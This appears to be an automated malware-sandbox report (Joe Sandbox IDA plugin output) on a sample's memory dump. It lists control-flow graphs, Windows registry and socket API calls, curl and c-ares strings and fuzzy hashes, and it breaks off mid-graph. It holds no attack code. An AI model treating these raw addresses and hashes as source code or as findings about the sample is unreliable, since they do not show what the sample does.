1150 99a011 1129->1150 1136->1007 1167 999c57-999c64 call 98e9d0 1136->1167 1160 999df1-999e04 call 98e960 1138->1160 1139->1160 1165 999f10-999f26 call 98e3c0 1144->1165 1166 999ed2-999edf call 98e9e0 1144->1166 1149->1007 1170 999c95-99a00e 1149->1170 1150->1012 1172 999d85-999d98 call 98e960 1157->1172 1158->1172 1160->1092 1160->1101 1165->1166 1184 999f28 1165->1184 1166->949 1166->1126 1167->1129 1167->1136 1170->1150 1172->1107 1172->1116 1184->963
                                                  APIs
                                                  • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 00999946
                                                  • RegQueryValueExA.KERNELBASE(?,DatabasePath,00000000,00000000,?,00000104), ref: 00999974
                                                  • RegCloseKey.KERNELBASE(?), ref: 0099998B
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: CloseOpenQueryValue
                                                  • String ID: #$#$CARES_HOSTS$DatabasePath$System\CurrentControlSet\Services\Tcpip\Parameters$\hos$sts
                                                  • API String ID: 3677997916-4129964100
                                                  • Opcode ID: c8ec1de137065b88810702bb355f064e17db2802742bbbf770179510eff1883e
                                                  • Instruction ID: 762ae90a0c20573b1bb2dc71791239751c168994bfba72d005be0b82b0089938
                                                  • Opcode Fuzzy Hash: c8ec1de137065b88810702bb355f064e17db2802742bbbf770179510eff1883e
                                                  • Instruction Fuzzy Hash: 903296B5904201ABEF11AB2DEC42B1B76D8AF95354F084838F84997263FB32ED15D793
                                                  Function 00908B50 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 269networkCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1358 908b50-908b69 1359 908be6 1358->1359 1360 908b6b-908b74 1358->1360 1363 908be9 1359->1363 1361 908b76-908b8d 1360->1361 1362 908beb-908bf2 1360->1362 1364 908bf3-908bfe call 90a550 1361->1364 1365 908b8f-908ba7 call 8e6e40 1361->1365 1363->1362 1370 908de4-908def 1364->1370 1371 908c04-908c08 1364->1371 1372 908cd9-908d16 SleepEx 1365->1372 1373 908bad-908baf 1365->1373 1376 908df5-908e19 call 90a150 1370->1376 1377 908e8c-908e95 1370->1377 1374 908dbd-908dc3 1371->1374 1375 908c0e-908c1d 1371->1375 1394 908d22 1372->1394 1395 908d18-908d20 1372->1395 1378 908bb5-908bb9 1373->1378 1379 908ca6-908cb0 1373->1379 1374->1363 1382 908c35-908c48 call 90a150 1375->1382 1383 908c1f-908c30 connect 1375->1383 1416 908e88 1376->1416 1417 908e1b-908e26 1376->1417 1380 908f00-908f06 1377->1380 1381 908e97-908e9c 1377->1381 1378->1362 1386 908bbb-908bc2 1378->1386 1379->1372 1384 908cb2-908cb8 1379->1384 1380->1362 1388 908e9e-908eb6 call 8e2a00 1381->1388 1389 908edf-908eef call 8d78b0 1381->1389 1415 908c4d-908c4f 1382->1415 1383->1382 1390 908ddc-908dde 1384->1390 1391 908cbe-908cd4 call 90b180 1384->1391 1386->1362 1393 908bc4-908bcc 1386->1393 1388->1389 1414 908eb8-908edd call 8e3410 * 2 1388->1414 1412 908ef2-908efc 1389->1412 1390->1363 1390->1370 1391->1370 1401 908bd4-908bda 1393->1401 1402 908bce-908bd2 1393->1402 1397 908d26-908d39 1394->1397 1395->1397 1405 908d43-908d61 call 8ed8c0 call 90a150 1397->1405 1406 908d3b-908d3d 1397->1406 1401->1362 1411 908bdc-908be1 1401->1411 1402->1362 1402->1401 1435 908d66-908d74 1405->1435 1406->1390 1406->1405 1418 908dac-908db8 call 9150a0 1411->1418 1412->1380 1414->1412 1421 908c51-908c58 1415->1421 1422 908c8e-908c93 1415->1422 1416->1377 1423 908e28-908e2c 1417->1423 1424 908e2e-908e85 call 8ed090 call 914fd0 1417->1424 1418->1362 1421->1422 1431 908c5a-908c62 1421->1431 1427 908dc8-908dd9 call 90b100 1422->1427 1428 908c99-908c9f 1422->1428 1423->1416 1423->1424 1424->1416 1427->1390 1428->1379 1436 908c64-908c68 1431->1436 1437 908c6a-908c70 1431->1437 1435->1362 1441 908d7a-908d81 1435->1441 1436->1422 1436->1437 1437->1422 1438 908c72-908c8b call 9150a0 1437->1438 1438->1422 1441->1362 1445 908d87-908d8f 1441->1445 1448 908d91-908d95 1445->1448 1449 908d9b-908da1 1445->1449 1448->1362 1448->1449 1449->1362 1451 908da7 1449->1451 1451->1418
                                                  APIs
                                                  • connect.WS2_32(?,?,00000001), ref: 00908C30
                                                  • SleepEx.KERNELBASE(00000000,00000000), ref: 00908CF3
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: Sleepconnect
                                                  • String ID: cf-socket.c$connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
                                                  • API String ID: 238548546-879669977
                                                  • Opcode ID: 7c490aec5a20dc74b0e3a4c4d29ca5cb6789543fc5ded068032d537960691b95
                                                  • Instruction ID: 3b0607e3b54843b22f57ff52096adcf4b8be9a7a89f7f9ead8235db1ef0576f1
                                                  • Opcode Fuzzy Hash: 7c490aec5a20dc74b0e3a4c4d29ca5cb6789543fc5ded068032d537960691b95
                                                  • Instruction Fuzzy Hash: 8CB1B170704306EFEB10DF24C985BA777E8AF55314F148A28E8999B2D2DB70EC59C762
                                                  Function 008D2F17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 144registryCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1452 8d2f17-8d2f8c call d598f0 call d59ce0 1457 8d31c9-8d31cd 1452->1457 1458 8d2f91-8d2ff4 call 8d1619 RegOpenKeyExA 1457->1458 1459 8d31d3-8d31d6 1457->1459 1462 8d2ffa-8d300b 1458->1462 1463 8d31c5 1458->1463 1464 8d315c-8d31ac RegEnumKeyExA 1462->1464 1463->1457 1465 8d3010-8d3083 call 8d1619 RegOpenKeyExA 1464->1465 1466 8d31b2-8d31c2 1464->1466 1470 8d314e-8d3152 1465->1470 1471 8d3089-8d30d4 RegQueryValueExA 1465->1471 1466->1463 1470->1464 1472 8d313b-8d314b RegCloseKey 1471->1472 1473 8d30d6-8d3137 call d59bc0 call d59c50 call d59ce0 call d59af0 call d59ce0 call d58050 1471->1473 1472->1470 1473->1472
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: EnumOpen
                                                  • String ID: d
                                                  • API String ID: 3231578192-2564639436
                                                  • Opcode ID: 2ad50a8b7bd472e0a8efeba273018e7520c31f5a1a913b9cd1dc3c17ab0915fa
                                                  • Instruction ID: d83e715fb3431a631005e22004252aaddbb1e05c91506ecd1e25346ed8fdcea9
                                                  • Opcode Fuzzy Hash: 2ad50a8b7bd472e0a8efeba273018e7520c31f5a1a913b9cd1dc3c17ab0915fa
                                                  • Instruction Fuzzy Hash: A07185B49043199FDB10DF69D98579EBBF0FF84304F108969E898A7301D7749A88CF92
                                                  Function 00909290 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146networkCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1486 909290-9092ed call 8d76a0 1489 9093c3-9093ce 1486->1489 1490 9092f3-9092fb 1486->1490 1499 9093d0-9093e1 1489->1499 1500 9093e5-909427 call 8ed090 call 914f40 1489->1500 1491 909301-909333 call 8ed8c0 call 8ed9a0 1490->1491 1492 9093aa-9093af 1490->1492 1511 909335-909364 WSAIoctl 1491->1511 1512 9093a7 1491->1512 1493 9093b5-9093bc 1492->1493 1494 909456-909470 1492->1494 1497 909429-909431 1493->1497 1498 9093be 1493->1498 1502 909433-909437 1497->1502 1503 909439-90943f 1497->1503 1498->1494 1499->1493 1504 9093e3 1499->1504 1500->1494 1500->1497 1502->1494 1502->1503 1503->1494 1507 909441-909453 call 9150a0 1503->1507 1504->1494 1507->1494 1516 909366-90936f 1511->1516 1517 90939b-9093a4 1511->1517 1512->1492 1516->1517 1518 909371-909390 setsockopt 1516->1518 1517->1512 1518->1517 1519 909392-909395 1518->1519 1519->1517
                                                  APIs
                                                  • WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 0090935C
                                                  • setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004,?,00000004,?,00000000,00000000), ref: 00909389
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: Ioctlsetsockopt
                                                  • String ID: Send failure: %s$cf-socket.c$send(len=%zu) -> %d, err=%d
                                                  • API String ID: 1903391676-2691795271
                                                  • Opcode ID: dfcfa249bb13825c81a7fcd740f95e81a3ddaa35d98dde1e12b1217919063bba
                                                  • Instruction ID: 8fd22f70b0266742e8b4a4d0b0f07dd1671970a9c150f0cab7c9ced39cb119ae
                                                  • Opcode Fuzzy Hash: dfcfa249bb13825c81a7fcd740f95e81a3ddaa35d98dde1e12b1217919063bba
                                                  • Instruction Fuzzy Hash: F851AC70600305AFE711DF28C881BAAB7A9FF88314F158529FD589B2D2E731E995CB91
                                                  Function 008D76A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 73networkCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1520 8d76a0-8d76be 1521 8d76e6-8d76f2 send 1520->1521 1522 8d76c0-8d76c7 1520->1522 1524 8d775e-8d7762 1521->1524 1525 8d76f4-8d7709 call 8d72a0 1521->1525 1522->1521 1523 8d76c9-8d76d1 1522->1523 1526 8d770b-8d7759 call 8d72a0 call 8dcb20 call c58c50 1523->1526 1527 8d76d3-8d76e4 1523->1527 1525->1524 1526->1524 1527->1525
                                                  APIs
                                                  • send.WS2_32(multi.c,?,?,?,008D3D4E,00000000,?,?,008E07BF), ref: 008D76EB
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: send
                                                  • String ID: LIMIT %s:%d %s reached memlimit$SEND %s:%d send(%lu) = %ld$multi.c$send
                                                  • API String ID: 2809346765-3388739168
                                                  • Opcode ID: f40d6f03fe5e2ca678ba023ed8e7f9d426e5a6fa7aa19b856fa353bc89b73750
                                                  • Instruction ID: 410aa7339b4e97b90fc31cfc2a5bdea811acb30af7ea3a71c1bb0758fc587e6a
                                                  • Opcode Fuzzy Hash: f40d6f03fe5e2ca678ba023ed8e7f9d426e5a6fa7aa19b856fa353bc89b73750
                                                  • Instruction Fuzzy Hash: F4113AF1A193587BE5109719AC86E277B9CEBC2F2CF454A19F809A7352F561DD0082B2
                                                  Function 00C5D1D0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 399COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1539 c5d1d0-c5d281 call c58d18 1542 c5d3b7-c5d3c1 1539->1542 1543 c5d287-c5d28e 1539->1543 1544 c5d2da-c5d2dd 1543->1544 1545 c5d290-c5d2a1 1544->1545 1546 c5d2df-c5d305 1544->1546 1547 c5d2a3-c5d2aa 1545->1547 1548 c5d2ac-c5d2b6 1545->1548 1549 c5d3b0 1546->1549 1550 c5d30b-c5d324 1546->1550 1547->1548 1551 c5d2bf-c5d2c2 1547->1551 1552 c5d340-c5d347 call c58c68 1548->1552 1553 c5d2bc 1548->1553 1549->1542 1554 c5d326-c5d332 1550->1554 1555 c5d2c9-c5d2d4 1551->1555 1574 c5d34c 1552->1574 1553->1551 1556 c5d334-c5d337 1554->1556 1557 c5d358-c5d35d 1554->1557 1555->1544 1555->1549 1556->1552 1556->1557 1561 c5d4e4-c5d4f7 call c5b640 1556->1561 1562 c5d4c6-c5d4c8 1556->1562 1563 c5d6a6-c5d6af 1556->1563 1564 c5d620-c5d62a 1556->1564 1565 c5d700-c5d735 call c5b6a0 1556->1565 1566 c5d602-c5d604 1556->1566 1567 c5d5ad-c5d5af 1556->1567 1568 c5d5e9-c5d5ec 1556->1568 1569 c5d4ab-c5d4ad 1556->1569 1570 c5d5cb-c5d5cd 1556->1570 1571 c5d570-c5d576 1556->1571 1572 c5d6d3-c5d6dc 1556->1572 1573 c5d4fc-c5d4fe 1556->1573 1559 c5d363-c5d366 1557->1559 1560 c5daeb-c5db00 call c5b640 1557->1560 1559->1560 1577 c5d36c-c5d36e 1559->1577 1560->1555 1561->1555 1583 c5d3a0-c5d3a4 1562->1583 1585 c5d4ce-c5d4df 1562->1585 1586 c5d6b5-c5d6ce call c5c9c0 1563->1586 1587 c5da4c-c5da65 call c5c9c0 1563->1587 1580 c5d630-c5d643 1564->1580 1581 c5d8d2-c5d8e7 1564->1581 1565->1555 1578 c5dad1-c5dad4 1566->1578 1579 c5d60a-c5d61b 1566->1579 1567->1583 1594 c5d5b5-c5d5c6 1567->1594 1575 c5d5f2-c5d5fd 1568->1575 1576 c5dbbc-c5dbdd 1568->1576 1569->1583 1584 c5d4b3-c5d4c1 1569->1584 1570->1583 1595 c5d5d3-c5d5e4 1570->1595 1571->1575 1593 c5d578-c5d57e 1571->1593 1589 c5d6e2-c5d6fb call c5ca50 1572->1589 1590 c5d9de-c5d9ee call c5ca50 1572->1590 1573->1583 1591 c5d504-c5d54f localeconv call c678b0 1573->1591 1574->1551 1596 c5d3a6-c5d3a8 1575->1596 1576->1596 1598 c5d374-c5d37f 1577->1598 1599 c5dadb-c5dae6 1577->1599 1578->1560 1603 c5dad6 1578->1603 1579->1596 1601 c5db9c-c5db9e 1580->1601 1602 c5d649-c5d657 1580->1602 1610 c5dba0-c5dba2 1581->1610 1611 c5d8ed-c5d8fd 1581->1611 1583->1596 1584->1596 1585->1596 1586->1555 1587->1555 1589->1555 1614 c5d9f3-c5d9f7 1590->1614 1634 c5d551-c5d556 1591->1634 1635 c5d55e-c5d56b 1591->1635 1612 c5db05-c5db18 1593->1612 1613 c5d584-c5d592 1593->1613 1594->1596 1595->1596 1596->1554 1619 c5d3ae 1596->1619 1598->1583 1615 c5d381-c5d389 1598->1615 1622 c5dba4-c5dbb7 call c5b9d0 1601->1622 1617 c5d663-c5d670 1602->1617 1618 c5d659-c5d65c 1602->1618 1603->1599 1610->1622 1624 c5d8ff-c5d902 1611->1624 1625 c5d909-c5d918 1611->1625 1612->1596 1626 c5dcd8-c5dcda 1613->1626 1627 c5d598-c5d5a8 1613->1627 1614->1555 1630 c5db8c-c5db97 1615->1630 1631 c5d38f-c5d39c 1615->1631 1632 c5d676-c5d687 1617->1632 1633 c5dcb9-c5dcd3 call c5b9d0 1617->1633 1618->1617 1619->1549 1624->1625 1637 c5d91e-c5d92f 1625->1637 1638 c5dc9a-c5dcb4 call c5b9d0 1625->1638 1628 c5dcf3-c5dd13 1626->1628 1629 c5dcdc-c5dce7 1626->1629 1627->1596 1628->1596 1629->1628 1630->1596 1631->1583 1640 c5db1d-c5db26 1632->1640 1641 c5d68d-c5d6a1 call c5cc90 1632->1641 1633->1614 1634->1635 1635->1596 1643 c5d935-c5d93a 1637->1643 1644 c5dc81-c5dc8a 1637->1644 1638->1633 1649 c5db5c-c5db5f 1640->1649 1641->1614 1648 c5d940-c5d97a call c5cc90 1643->1648 1643->1649 1644->1638 1648->1614 1649->1644 1652 c5db65 1649->1652 1652->1630
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$Inf$NaN
                                                  • API String ID: 0-141429178
                                                  • Opcode ID: 8a1e3d787cf38144cbf7dca67d168aa50dcd2c3696395bca74d631157c7f5042
                                                  • Instruction ID: d563fff8ac8a05c62083c55068f39f6ac52c39311b7ab1058588caec59516139
                                                  • Opcode Fuzzy Hash: 8a1e3d787cf38144cbf7dca67d168aa50dcd2c3696395bca74d631157c7f5042
                                                  • Instruction Fuzzy Hash: 50F1D47860C3818BD7319F24C4807ABBBE1BB85316F148A6DECDE87391D7349989DB46
                                                  Function 0099AA30 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377networkCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1755 99aa30-99aa64 1757 99aa6a-99aaa7 call 98e730 1755->1757 1758 99ab04-99ab09 1755->1758 1762 99aaa9-99aabd 1757->1762 1763 99ab0e-99ab13 1757->1763 1760 99ae80-99ae89 1758->1760 1764 99ab18-99ab50 1762->1764 1765 99aabf-99aac7 1762->1765 1766 99ae2e 1763->1766 1771 99ab58-99ab6d 1764->1771 1765->1766 1768 99aacd-99ab02 1765->1768 1767 99ae30-99ae4a call 98ea60 call 98ebf0 1766->1767 1780 99ae4c-99ae57 1767->1780 1781 99ae75-99ae7d 1767->1781 1768->1771 1774 99ab6f-99ab73 1771->1774 1775 99ab96-99abab socket 1771->1775 1774->1775 1777 99ab75-99ab8f 1774->1777 1775->1766 1779 99abb1-99abc5 1775->1779 1777->1779 1791 99ab91 1777->1791 1782 99abd0-99abed ioctlsocket 1779->1782 1783 99abc7-99abca 1779->1783 1785 99ae59-99ae5e 1780->1785 1786 99ae6e-99ae74 1780->1786 1781->1760 1788 99abef-99ac0a 1782->1788 1789 99ac10-99ac14 1782->1789 1783->1782 1787 99ad2e-99ad39 1783->1787 1785->1786 1794 99ae60-99ae6c 1785->1794 1786->1781 1792 99ad3b-99ad4c 1787->1792 1793 99ad52-99ad56 1787->1793 1788->1789 1799 99ae29 1788->1799 1795 99ac37-99ac41 1789->1795 1796 99ac16-99ac31 1789->1796 1791->1766 1792->1793 1792->1799 1793->1799 1800 99ad5c-99ad6b 1793->1800 1794->1781 1797 99ac7a-99ac7e 1795->1797 1798 99ac43-99ac46 1795->1798 1796->1795 1796->1799 1807 99ac80-99ac9b 1797->1807 1808 99ace7-99acfe 1797->1808 1804 99ac4c-99ac51 1798->1804 1805 99ad04-99ad08 1798->1805 1799->1766 1809 99ad70-99ad78 1800->1809 1804->1805 1812 99ac57-99ac78 1804->1812 1805->1787 1811 99ad0a-99ad28 1805->1811 1807->1808 1813 99ac9d-99acc1 1807->1813 1808->1805 1814 99ad7a-99ad7f 1809->1814 1815 99ada0-99adb2 connect 1809->1815 1811->1787 1811->1799 1817 99acc6-99acd7 1812->1817 1813->1817 